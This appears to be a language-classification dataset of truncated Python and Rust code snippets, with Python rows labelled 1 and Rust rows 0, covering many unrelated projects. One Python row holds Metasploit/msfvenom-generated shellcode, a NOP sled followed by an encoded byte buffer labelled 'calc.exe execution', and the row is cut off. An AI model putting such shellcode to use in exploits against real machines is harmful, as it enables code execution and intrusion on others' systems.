text
string
label_name
string
labels
int64
''' Please build with py27: Tools --> Build System --> py27 ''' # Incrementally decrease the load import pssexplore34 import psspy from psspy import _i, _f import redirect psspy.psseinit() import dyntools import numpy as np import pssplot psspy.psseinit() def Initialization(output_name): # first attempt to initializa...
Python
1
sListener { rx: Receiver<Event>, } impl EventsListener { pub fn new(tick_rate: Duration) -> Self { let (tx, rx) = unbounded::<Event>(); let tx_clone = tx.clone(); thread::spawn(move || { let stdin = io::stdin(); for key in stdin.keys().flatten() { ...
Rust
0
::CachePackages { let system_image = pkgfs::system::Client::open_from_namespace(); // Default to empty cache. let empty = CachePackages::from_entries(vec![]); let system_image = match system_image { Ok(s) => s, Err(e) => { fx_log_err!("failed to open system image: {:#}", anyh...
Rust
0
let col = k % 9; let sq = 3 * (row / 3) + col / 3; *v = (row, col, sq); } row_col_sq_map });// Tunnul // Copyright (c) 2015, <NAME> // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following condi...
Rust
0
ent = storage.Client() bucket = storage_client.bucket(gcs_bucket) blob = bucket.blob(gcs_path) blob.upload_from_filename(file_path) if __name__ == "__main__": logging.getLogger().setLevel(logging.INFO) main( source_url=os.environ["SOURCE_URL"], source_file=pathlib.Path(os.environ[...
Python
1
weights = tf.get_variable( scope+'/conv/weights', shape, initializer=tf.truncated_normal_initializer()) outputs = tf.nn.conv3d( inputs, weights, (1, 1, 1, 1, 1), padding='SAME', name=scope+'/conv') return outputs def get_mask(shape, scope): new_shape = (np.prod(shape[:-2]), shape[-2],...
Python
1
import cv2 import numpy as np def enhance_lowlight(image_path, alpha=1.5, beta=30): """ Enhance a low-light image using contrast and brightness adjustment Args: image_path (str): Path to the input image alpha (float): Contrast control (1.0-3.0) beta (int): Brightness control (0...
Python
1
protocol(var_contents)] pub player_ids: std::borrow::Cow<'a, [u64]>, pub enable: &'a [u8], } #[derive(Clone, PartialEq, Debug, Encode, Decode)] #[protocol(id = 6443)] pub struct SetEnableAVARequestMessage<'a> { pub enable: bool, pub _phantom: std::marker::PhantomData<&'a ()>, } #[derive(Clone, Partial...
Rust
0
: String, #[serde(rename = "_id")] id: String, #[serde(rename = "_version")] version: Option<u32>, #[serde(rename = "_seq_no")] sequence_number: Option<u32>, #[serde(rename = "_primary_term")] primary_term: Option<u32>, #[serde(rename = "_routing")] routing: Option<String>, r...
Rust
0
fn set_lapic(&self, klapic: &kvm_lapic_state) -> Result<()> { panic!("Not Implemented") } /// Gets the vcpu's current "multiprocessing state". /// /// See the documentation for KVM_GET_MP_STATE. This call can only succeed after /// a call to `Vm::create_irq_chip`. /// /// Note that ...
Rust
0
tion.") # Calculate similarity scores similarity_scores, explanations = calculate_similarity(job_description, resumes) results = list(zip(filenames, similarity_scores, explanations)) # Sort results by similarity score (lower score means more relevant...
Python
1
yme.extend_from_slice(b"eng"); } } Some(unsafe { (String::from_utf8_unchecked(consonant), String::from_utf8_unchecked(rhyme), tone) }) } /// Convert pinyin to zhuyin /// /// # Example /// ``` /// # use pinyin_zhuyin::*; /// assert_eq!(pinyin_to_zhuyin("mǎ"), Some("ㄇㄚˇ".to_owned()));...
Rust
0
ercase(&self) -> char { if self.is_ascii() { (*self as u8).to_ascii_uppercase() as char } else { *self } } /// Makes a copy of the value in its ASCII lower case equivalent. /// /// ASCII letters 'A' to 'Z' are mapped to 'a' to 'z', /// but non-ASCII letters are unchanged. /// /// To...
Rust
0
# # Copyright (c) 2023 Airbyte, Inc., all rights reserved. # from source_surveycto.run import run if __name__ == "__main__": run()
Python
1
"""QuantumMetaGPT - Autonomous Quantum AI Research Agent""" from .utils.logger import get_logger # Initialize root logger logger = get_logger("QuantumMetaGPT") logger.info("Initializing QuantumMetaGPT framework") # API exports from .llm_paper_parser import parse_arxiv_paper from .task_synthesizer import TaskSynthesi...
Python
1
import datetime import logging import os from sqlalchemy import asc from sqlalchemy.orm import Session from models import Image, Video, PexelsVideo logger = logging.getLogger(__name__) def get_image_features_by_id(session: Session, image_id: int): """ 返回id对应的图片feature """ features = session.query(I...
Python
1
<E>> where F: Borrow<E::Fr>, { polynomials.iter().map(|&p| self.commit(p)).collect() } /// The commitment procedures for our tensor check protocol. /// The algorithm takes advantage of the tree structure of folding polynomials in our protocol. Please refer to our paper for more deta...
Rust
0
k/tajik")), "tr" => read_from_bytes(include_bytes!("nltk/turkish")), _ => panic!(concat!("Unfortunately, the '{}' language is not currently supported. Please make sure that the name of the language is spelled in English."), x ) } } /// This function fetches stop words for a language using a 2-lette...
Rust
0
'category_stats': category_stats, 'importance_stats': importance_stats, 'top_stories': [story.to_dict() for story in top_stories], 'all_news': [news.to_dict() for news in processed_news], 'generated_time': datetime.now(pytz.timezone('Asia/Shanghai')).isoformat() ...
Python
1
, ColorRGB { r: 0xFF, g: 0x00, b: 0xFF }), (ColorAlias::Cyan, ColorRGB { r: 0x00, g: 0xFF, b: 0xFF }), ])), Some(theme) => theme, }, }; let (width, height) = get_drawing_bounds(drawing.strokes.as_slice()); let mut draw_target = DrawTarget::new(width as i32, ...
Rust
0
#! python 2.7 ## calc.exe execution # shellcode # msfvenom - kalilinux - Metasploit buf = "" buf += "\x90" * 20 buf += "\x89\xe2\xda\xc3\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49" buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43" buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41" buf += "\x41\x51\x32...
Python
1
: Handle<Font>, } pub struct Score(pub u32); impl Score { pub fn set(&mut self, value: u32) { self.0 = value; } pub fn increase_by(&mut self, value: u32) { self.set(self.0 + value); } } pub struct BGMusic { pub handle: Handle<AudioSource>, pub channel: AudioChannel, } pub st...
Rust
0
# Copyright (c) 2020, Frappe Technologies and Contributors # License: MIT. See LICENSE # import frappe from frappe.tests.utils import FrappeTestCase class TestLogSettingUser(FrappeTestCase): pass
Python
1
edSource::new(label) } pub fn source_(self, label:Label) -> OwnedSource { OwnedSource::new(label) } pub fn sampler<T,Out>(self, label:Label, src:&T) -> OwnedSampler<Out> where T:EventOutput<Output=Out>, Out:Data { OwnedSampler::new(label,src) } pub fn trace<T:EventOutp...
Rust
0
, &[acc]); b.op_call_flow(else_block, join_block, &[acc]); (join_block, join_arg) } } } } pub(super) fn lower_list_comprehension_expr( ctx: &mut LowerCtx, b: &mut FunctionBuilder, mut block: IrBlock, compr: &ListComprehension, ) -> (IrBlock, IrVa...
Rust
0
MG_LEN) self.assertGreater(res[6], 0) self.assertGreater(res[7], 0) self.assertLess(res[7], res[6]) ssummary = dm.summarise_system_stats(t_start, t_end) # ssummary (sum_requests, sum_views, sum_cached_views, # sum_downloads, sum_bytes_serv...
Python
1
d) .filter(Face.id != tag1.id) .one_or_none() ) assert tag2 is not None # Set tag 1 as featured rv = client.post( url_for("main.set_featured_tag", tag_id=tag1.id), follow_redirects=True ) assert b"Successfully set this tag as featured"...
Python
1
Dynamic::parse(&file_in_memory, &elf.program_headers, ctx) .expect("parse dynamic section"); //let mut android_relr_offset = 0; //let mut android_relr_size = 0; //for entry in elf.dynamic.dyns { //match entry.tag { //// DT_ANDROID_REL ...
Rust
0
#-*- coding: utf-8 -*- import re import pytz import requests from lxml import html from datetime import datetime, timezone, timedelta tz = pytz.timezone('Asia/Shanghai') cctv_channel = ['c...
Python
1
# Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, s...
Python
1
Some(bottom) => bottom, None => return Err(serde::de::Error::missing_field("bottom")), }; try!(visitor.end()); Ok(TimeSig { top: top, bottom: bottom }) } } static FIELDS: &'static [&'sta...
Rust
0
stats(self, eventtime): load = "mcu_awake=%.03f mcu_task_avg=%.06f mcu_task_stddev=%.06f" % ( self._mcu_tick_awake, self._mcu_tick_avg, self._mcu_tick_stddev) stats = ' '.join([load, self._serial.stats(eventtime), self._clocksync.stats(eventtime)]) parts = ...
Python
1
number of vertices in the mesh. Returns: - `usize` - The number of the vertices. */ #[inline(always)] fn get_vertex_count(&self) -> usize { self.get_vertices().len() } /** Retrieves the number of faces (and face normals) in the mesh. Returns: - `usize` - The number o...
Rust
0
visibility: Visibility, name: Ident, component_generics: Generics, storage_context: StorageContext, constructor_attributes: Vec<Attribute>, constructor_generics: Generics, constructor_paren: Paren, constructor_args: Punctuated<ConstructorArgument, Token![,]>, render_attributes: Vec<Attribute>, render_generics:...
Rust
0
pdb.set_trace() followup_accuracy_true, followup_accuracy_false = ( calculate_followup_accuracy(dfs, task) ) write_csv_row( [ id, accuracy_A, ...
Python
1
""" ==================================== BUAN Bundle Assignment Maps Creation ==================================== This example explains how we can use BUAN :footcite:p:`Chandio2020a` to create assignment maps on a bundle. Divide bundle into N smaller segments. First import the necessary modules. """ import numpy a...
Python
1
# -*- coding: utf-8 -*- import factory import datetime from koalixcrm.crm.models import ProductPrice from koalixcrm.crm.factories.factory_product import StandardProductFactory from koalixcrm.crm.factories.factory_unit import StandardUnitFactory from koalixcrm.crm.factories.factory_currency import StandardCurrencyFacto...
Python
1
from pathlib import Path import numpy as np import soundfile from espnet2.fileio.sound_scp import SoundScpReader def test_SoundScpReader(tmp_path: Path): audio_path1 = tmp_path / "a1.wav" audio1 = np.random.randint(-100, 100, 16, dtype=np.int16) audio_path2 = tmp_path / "a2.wav" audio2 = np.random.r...
Python
1
import pytest from flask import Flask from flask_jwt_extended import jwt_required from flask_jwt_extended import JWTManager @pytest.fixture(scope="function") def app(): app = Flask(__name__) app.config["JWT_SECRET_KEY"] = "secret" JWTManager(app) @app.route("/jwt_required", methods=["GET", "OPTIONS"...
Python
1
"""Minimal test to push coverage over 90% threshold.""" from fapilog import _get_log from fapilog.exceptions import ConfigurationError from fapilog.monitoring import ( create_prometheus_exporter, get_prometheus_exporter, set_prometheus_exporter, ) from fapilog.sinks.stdout import StdoutSink def test_crea...
Python
1
alpha={cfg['alpha']:.2f}") seed_scores = [] # 存放同一超参下,不同 seed 的验证准确率 for sd in seed_list: print(f" ▶ Seed {sd}...", end="", flush=True) score = train_model( # <‑‑ 你的训练函数 lora_rank = cfg["lora_rank"], dropout = cfg["dropout"], ...
Python
1
1.5 * x.abs() / 12., 0.1, 1.0 - x.abs() * 1.5 / 12., )), None, None, None, None, Some(0.4), None, None, ...
Rust
0
arr = [list(map(int, input().split())) for _ in range(4)] min_i = 21e8 min_j = 21e8 max_i = -21e8 max_j = -21e8 for i in range(4): for j in range(5): if arr[i][j] == 1 and min_i> i: min_i = i if arr[i][j] == 1 and min_j > j: min_j = j for i in range(4): for j in rang...
Python
1
bufsize: usize, queuelen: usize, ) -> Self { for _ in 0..queuelen { empty_send .send(Ok(vec![0; bufsize].into_boxed_slice())) .ok(); } BackgroundWriter { full_recv, empty_send, } } #[inline] fn l...
Rust
0
# By submitting this assignment, I agree to the following: # "Aggies do not lie, cheat, or steal, or tolerate those who do." # "I have not given or received any unauthorized aid on this assignment." # # Name: Daniel Wu # Section: 564 # Assignment: Lab 2.11 # Date: 24th August 2023 #If a word starts with a consonant (or...
Python
1
# This file is dual licensed under the terms of the Apache License, Version # 2.0, and the BSD License. See the LICENSE file in the root of this repository # for complete details. from __future__ import annotations import typing from cryptography.hazmat.primitives.asymmetric import dh from cryptography.hazmat.primit...
Python
1
for the level colors ## Default mapping | Level | Color | | -- | -- | | Error | [`Color::Red`](./enum.Color.html#variant.Red) | | Warn | [`Color::Yellow`](./enum.Color.html#variant.Yellow) | | Info | [`Color::Gre...
Rust
0
#------------------------------------------------------------------------- # __addresses__.py # # Define command and control addresses for talking to FPGA #------------------------------------------------------------------------- # Scan Command Protocols CMD_SCAN_READ = 0x000C CMD_SCAN_WRITE = ...
Python
1
nt('推力thrust:', np.round(thrust[0].cpu().numpy(), 5)) # # test attitude_controlle # print('姿态角_w:', np.round(controller.quat_to_euler(root_quat_w)[0,:].cpu().numpy(), 5)) # print('位置_w:', np.round(root_pos_w[0,:].cpu().numpy(), 5)) # rotation_matrix = controller.euler_to_rotation_matrix...
Python
1
TextString::from_text_lossy("\u{fffff}\u{fffff}").as_str(), "\u{fffd}\u{fffd}" ); assert_eq!( TextString::from_text_lossy("\u{34f}\u{fffff}\u{34f}").as_str(), "\u{34f}\u{fffd}\u{34f}" ); assert_eq!( TextString::from_text_lossy("\u{34f}\u{fffff}\u{34f}\u{fffff}\u{...
Rust
0
import pytest import snowflake.snowpark.functions as F # type: ignore from snowflake.snowpark.exceptions import SnowparkSQLException from cuallee import Check, CheckLevel def test_positive(snowpark): df = snowpark.range(10) check = Check(CheckLevel.WARNING, "pytest") check.satisfies("ID", "((id BETWEEN ...
Python
1
return False, "方向不明确", None # 获取止盈价格 take_profit_price = None # 优先从 attachAlgoOrds 获取 attach_algo_ords = order.get('attachAlgoOrds', []) if attach_algo_ords and isinstance(attach_algo_ords, list) and len(attach_algo_ords) > 0 and 'tpTriggerPx' in attach_algo_ord...
Python
1
(&self, key: [u8; 32]) -> Option<[u8; 32]> { self.leaf_table .get(&key) .map(|val| val.to_vec().try_into().unwrap()) } fn get_branch_children(&self, branch_id: &[u8]) -> Vec<(u8, BranchChild)> { let mut children = Vec::with_capacity(256); for i in 0u8..=255 { ...
Rust
0
#!/usr/bin/python # -*- coding: utf-8 -*- # # Licensed under the GNU General Public License, version 3. # See the file http://www.gnu.org/licenses/gpl.txt from pisi.actionsapi import autotools from pisi.actionsapi import pisitools from pisi.actionsapi import shelltools from pisi.actionsapi import get def build(): ...
Python
1
er("i32le"), Type::Const(Tc::I32(Little)).into()), (Name::user("i64le"), Type::Const(Tc::I64(Little)).into()), (Name::user("f32le"), Type::Const(Tc::F32(Little)).into()), (Name::user("f64le"), Type::Const(Tc::F64(Little)).into()), // Big endian primitives (Nam...
Rust
0
\xda7\xb6>Q\xf9\x81\x93$\x8d\xd5\ \x8d\xb5x\xa7P\x7f\xc7\x17\x1b\xe6\x82\xf2;~I\xd2\ \xe9\xeb\xdf\x08\xf4w\x7f\xdd\xb1\xd8\x08\xdf\xd0\xba\xbd\xf2\ \x83%I\x9aFoi}Q1i\x9f\xdd:Y\xf9\ a\x92$M\xab\x0f\xb7\xee_L\xd6\x1fU~\x88$\ I\xd3\xec\xe6\xd6\xe3\x8a\xc9\xe9\x0f\xf5I\x0f\x8f$i\ \xfa\xf5\x87\x8c\x9dSL\xc6\xff\xac\xfc\xd0H...
Python
1
N, num_classes = class_logits.shape box_regression = box_regression.reshape(N, -1, 4) except: import ipdb ipdb.set_trace() box_loss = F.smooth_l1_loss( box_regression[sampled_pos_inds_subset, labels_pos], regression_targets[sampled_pos_inds_s...
Python
1
) args.output.write(' '.join(tokens) + '\n') if args.write_boundaries is not None: for i in xrange(len(tokens)): pron = [args.boundary, tokens[i], args.boundary] if i > 0 and spans[i][0] == spans[i - 1][1]: pron = pron[1:] i...
Python
1
.sort_by_key(|s| unit(s.field)); } use alloc::sync::Arc; use alloc::vec::Vec; use core::ops::Range; use core::sync::atomic::{AtomicBool, Ordering}; use apic::ApicDriver; use bit_field::BitField; use crossbeam_queue::ArrayQueue; use lazy_static::lazy_static; use smallvec::{smallvec, SmallVec}; use x86::apic::{ Apic...
Rust
0
def get_transcript_text(self): """获取有transcript内容""" try: print("\nDebug: Getting transcript text...") if not self.transcript_manager: print("Debug: transcript_manager is None") return "" print(f"Debug: tra...
Python
1
odnet = torch.nn.DataParallel(MODNet()).cuda() optimizer = torch.optim.SGD(modnet.parameters(), lr=lr, momentum=0.9) lr_scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=int(0.25 * epochs), gamma=0.1) dataloader = CREATE_YOUR_DATALOADER(bs) # NOTE: please finish this function...
Python
1
#!/usr/bin/env python3 """ Test script for Conference Room functionality """ import asyncio import sys import os # Add the current directory to Python path sys.path.append(os.path.dirname(os.path.abspath(__file__))) from agents import AgentBase, AgentType from tasks import Task, TaskPriority from gui import OfficeGU...
Python
1
##########2D Poisson########## ####This code converges on a solution to Poisson's equation in two dimensions using the finite difference method. #### ####Boundary Conditions: #### p = 0 @ all borders #### b = 0 everywhere except at (.5, .5) and (1.5, 1.5) ############################### ##Requires python >= 2.7, nump...
Python
1
much else. //! So in order to make our API easier to work with, we have to implement our own //! routing. //! This infrastructure lives in the `host` module. #![feature(box_syntax, associated_consts, proc_macro)] #[macro_use] extern crate serde_derive; extern crate serde; extern crate futures; extern crate hyper; ...
Rust
0
pros = [] cons = [] # Thresholds to determine pros/cons if content_quantity_pct > 80: pros.append("Content Quantity (Large library)") else: cons.append("Content Quantity (Small library)") if content_quality_pct > 70: pros.append("Content Quality (High-resolution video...
Python
1
itch is brailled, and intervals are labeled in descending order; if descending is False, the lowest (sounding) pitch is brailled, and the intervals are labeled in ascending order. Convention dictates that chords found in the treble clef are brailled descending, and those found in the bass clef are brail...
Python
1
fn lambdas() { ok("fun f() { || {}; }"); ok("fun f() { |a: Int| {}; }"); ok("fun f() { || -> Int { return 2; }; }"); err( "fun f() { || -> Foo { }; }", pos(1, 17), Msg::UnknownType("Foo".into()), ); err( "fun f() { |a: Fo...
Rust
0
def check_equality(a, b): if a == b: print("The numbers are equal.") else: print("The numbers are not equal.") num1 = float(input("Enter first number: ")) num2 = float(input("Enter second number: ")) check_equality(num1, num2)
Python
1
import sqlite3 from flask import Blueprint, jsonify, session, request from . import query_db bp = Blueprint("users", __name__) @bp.route("/create_user", methods=["POST"]) def create_user(): user_info = session.get("user_info", None) if user_info is None: return jsonify({"error": "no user_info found...
Python
1
import os import random import numpy as np import argparse from model import IRMC_GC_Model from utils import generate_data from datetime import datetime import torch import torch.nn.functional as F from logutils import getLogger from tqdm import tqdm # import wandb # wandb.init(project='TBD_Pro', # entity=...
Python
1
_epoch_chunk_size = 600; let max_transaction_chunk_size = 700; let max_transaction_output_chunk_size = 800; let storage_service_config = StorageServiceConfig { max_account_states_chunk_sizes, max_concurrent_requests: 0, max_epoch_chunk_size, max_lru_cache_size: 0, max...
Rust
0
from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC import time import re from pcapi import getDanmaku import pandas as pd import os link = "https://space.bilibili.com/267766441/video" path = "/Users/pc/Desktop/桌面/danmakuAnalysis.n...
Python
1
oj@gmail.com") time.sleep(1) contact.enter_message("This is a test") time.sleep(1) contact.click_send_message() time.sleep(1) print("Your contact me page has been tested successfully") def test_qa_testing(driver): qa_testing = QaTesting(driver) qa_testing.open_page("https://sagar-test-...
Python
1
from __future__ import (absolute_import, division, print_function, unicode_literals) import six from . import backend_cairo, backend_gtk3 from .backend_cairo import cairo, HAS_CAIRO_CFFI from .backend_gtk3 import _BackendGTK3 from matplotlib.backend_bases import cursors class RendererGTK3Cai...
Python
1
let entry = EntryLoader::new()?; let instance = Self::create_instance(window, &entry)?; #[cfg(debug_assertions)] let debug_messenger = debug::Messenger::new(&instance)?; Ok(Self { #[cfg(debug_assertions)] debug_messenger, instance, _entry:...
Rust
0
column headers. Column headers must be meaningful terms inorder to make our NLP model understanding. It's good to enumerate some synonyms using slash '/' to separate, and even better to enumerate values using brackets like 'gender/sex(male, female)'. Here are some examples for headers: ...
Python
1
, sync::{broadcast, mpsc}, task, time::{sleep, timeout}, }; use tokio_stream::{ wrappers::{BroadcastStream, ReceiverStream}, StreamExt, }; use tokio_util::sync::CancellationToken; use tracing::Instrument; use uuid::Uuid; #[derive(Debug)] enum SubOp { AddSubscription(String, SubscriptionRef), ...
Rust
0
0.26, 0.4, 0.41, 0.41, 0.48, 0.52, 0.55, 0.55, 0.49, 0.39, 0.33, 0.33, ], }, SurfaceMonthlyRadiation { zone: D3c, orientation: SE, beta: 90.0, gamma: -45.0, dir: [ 32.83, 37.88, 49.0, 43.54, 40.3, 44.05, 51.07, 57.29, 59.75, 54.39, 37.57, ...
Rust
0
1,0) is stored directly behind (0,0), which is stored at // `tile_start_addr`. // Rows of tiles, however, are always stored 512 Bytes (or 16 tiles/128 pixels) apart: // If tile (0,0) is at address $0000, tile (0,1) is at $0200. This is independent of // the sprite size, w...
Rust
0
fset:offset+3] == b"\x76\xa9\x14" and block[offset+23:offset+25] == b"\x88\xac": address_set.add(block[offset+3:offset+23],outputToText,'P2PKH') elif block[offset:offset+2] == b"\xa9\x14": #Check for Segwit Address a...
Python
1
audit .create_data(driver, 0, Some(n.subject()), Some(diff)) .map_err(GrpcMethodError::InternalServerError)?; Ok(n) } Err(e) => { let data = e.get_data(); audit .create_data( driver, ...
Rust
0
models_oracle.OracleDb.objects.filter(mon_status='connected').order_by('tags')[0].tags typedefault = request.GET.get('typedefault') if not typedefault: typedefault = '生成AWR报告' if typedefault == unicode('生成AWR报告', 'utf-8'): report_type = 'awr' elif typedefault == unicode('生成ASH报告', 'utf-...
Python
1
q!(settings.rotation_period_msgs, 500); } } // Copyright 2012-2014 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/license...
Rust
0
"::", stringify!(replace_prog_fd) ) ); } extern "C" { pub fn bpf_prog_attach( prog_fd: ::std::os::raw::c_int, attachable_fd: ::std::os::raw::c_int, type_: bpf_attach_type, flags: ::std::os::raw::c_uint, ) -> ::std::os::raw::c_int; } extern "C" { pub...
Rust
0
(levels: String) -> Self { RotatingLogger { levels: levels, logs: RwLock::new(ArrayVec::<[_; LOG_SIZE]>::new()), } } /// Append new log entry pub fn append(&self, log: String) { let mut logs = self.logs.write(); if logs.is_full() { logs.pop(); } logs.insert(0, log); } /// Return levels pub ...
Rust
0
_ref(), tag(b"\"\"")), ))(i) } fn unquoted_char_nonspace<'a, E: ParseError<&'a [u8]>>(i: &'a [u8]) -> IResult<&'a [u8], char, E> { alt(( none_of(b"{}\"\r\n/ \t".as_ref()), terminated(char('/'), not(char('/'))), ))(i) } fn unquoted_key<'a, E: ParseError<&'a [u8]>>(i: &'a [u8]) -> IResult<&'...
Rust
0
re. /// /// *Print*: /// - Printer share. #[derive(Debug, PartialEq, Eq, Clone)] pub enum ShareType { Disk, Pipe, Print, } impl ShareType { /// Unpacks the byte code of the share type. pub fn unpack_byte_code(&self) -> Vec<u8> { match self { ShareType::Disk => b"\x01".to_vec...
Rust
0
s negative values /// ``` /// use crate::ms_converter::{get_duration_by_postfix, DAY}; /// /// let value = get_duration_by_postfix(-DAY as i64, " day").unwrap(); /// assert_eq!(value, "-1 day") /// ``` /// ### Supported postfixes /// * **Years:** `years`, `year`, `yrs`, `yr`, `y` /// * **Weeks:** `weeks`, `week`, `w` ...
Rust
0
w macros that can be used to generate and serve routes and OpenApi objects. //! - `mount_endpoints_and_merged_docs!{...}`: Mount endpoints and mount merged OpenAPI documentation. //! - `openapi_get_routes![...]`: To generate and add the `openapi.json` route. //! - `openapi_get_routes_spec![...]`: To generate and return...
Rust
0
f (roi.shape[0] != img_sub.shape[0]) or (roi.shape[1] != img_sub.shape[1]): print(f"[WARN] Skipped shape at ({px},{py}) — dimension mismatch " f"(roi={roi.shape}, img={img_sub.shape}, alpha={alpha_sub.shape})") continue # Blend roi[:, :, :3] = alpha_sub * img_sub...
Python
1
def main(): # Assigning ages based on the given relationships Anton = 21 Beth = Anton + 6 Chen = Beth + 20 Drew = Anton + Chen Ethan = Chen # Printing the names and ages in the required format print(f"Anton is {Anton}") print(f"Beth is {Beth}") print(f"Chen is {Chen}") print(f"...
Python
1
0)), ("laempt", (0, 0)), ("ReverseEl", (0, 0)), ("sub", (0, 0)), ("rightsquigarro", (0, 0)), ("Berno", (0, 0)), ("NotGreater", (0, 0)), ("Jop", (0, 0)), ("drco", (0, 0)), ("hArr", (0, 0)), ("CapitalDifferentialD;", (8517, 0)), ("ned...
Rust
0
elta(seconds=int(sec))) def get_extraction_progress(): return { "in_progress": _extraction_in_progress, "current": _extraction_current, "total": _extraction_total } def skip_video(offset_seconds: float): video_utils.schedule_skip(offset_seconds) def toggle_pause(): return v...
Python
1
unsafe { &(*(::std::ptr::null::<_mjrContext>())).windowDoublebuffer as *const _ as usize }, 2296usize, concat!( "Offset of field: ", stringify!(_mjrContext), "::", stringify!(windowDoublebuffer) ) ); ...
Rust
0
keystream using our guesses from other ciphertexts for pos, ct_idx, fragment in known_fragments: # Convert the fragment to bytes plaintext_bytes = [ord(c) for c in fragment] for i, p_byte in enumerate(plaintext_bytes): # Make sure we're within bounds if pos + i < len...
Python
1
# Copyright (C) 2018-2024 Intel Corporation # SPDX-License-Identifier: Apache-2.0 import numpy as np from openvino.tools.mo.front.pass_separator import FrontStart from openvino.tools.mo.front.restore_ports import RestorePorts from openvino.tools.mo.ops.loop import Loop from openvino.tools.mo.front.common.partial_infe...
Python
1
import operator from django.db import InterfaceError from django.db.backends.base.features import BaseDatabaseFeatures from django.utils.functional import cached_property class DatabaseFeatures(BaseDatabaseFeatures): minimum_database_version = (11,) allows_group_by_selected_pks = True can_return_columns_...
Python
1
""" ================================================================ Using KBinsDiscretizer to discretize continuous features ================================================================ The example compares prediction result of linear regression (linear model) and decision tree (tree based model) with and without...
Python
1
from django.contrib import admin from django.urls import path,include from api import views from rest_framework.routers import DefaultRouter router=DefaultRouter() router.register('singerapi',views.SingerViewset,basename="singerapi") router.register('songapi',views.SongViewset,basename="songapi") urlpatterns = [ p...
Python
1
9, #[doc = "Set threshold to 4.0 V"] V40, #[doc = "Set threshold to 4.1 V"] V41, #[doc = "Set threshold to 4.2 V"] V42, } impl THRESHOLDVDDHW { #[allow(missing_docs)] #[doc(hidden)] #[inline] pub fn _bits(&self) -> u8 { match *self { THRESHOLDVDDHW::V27 => 0, ...
Rust
0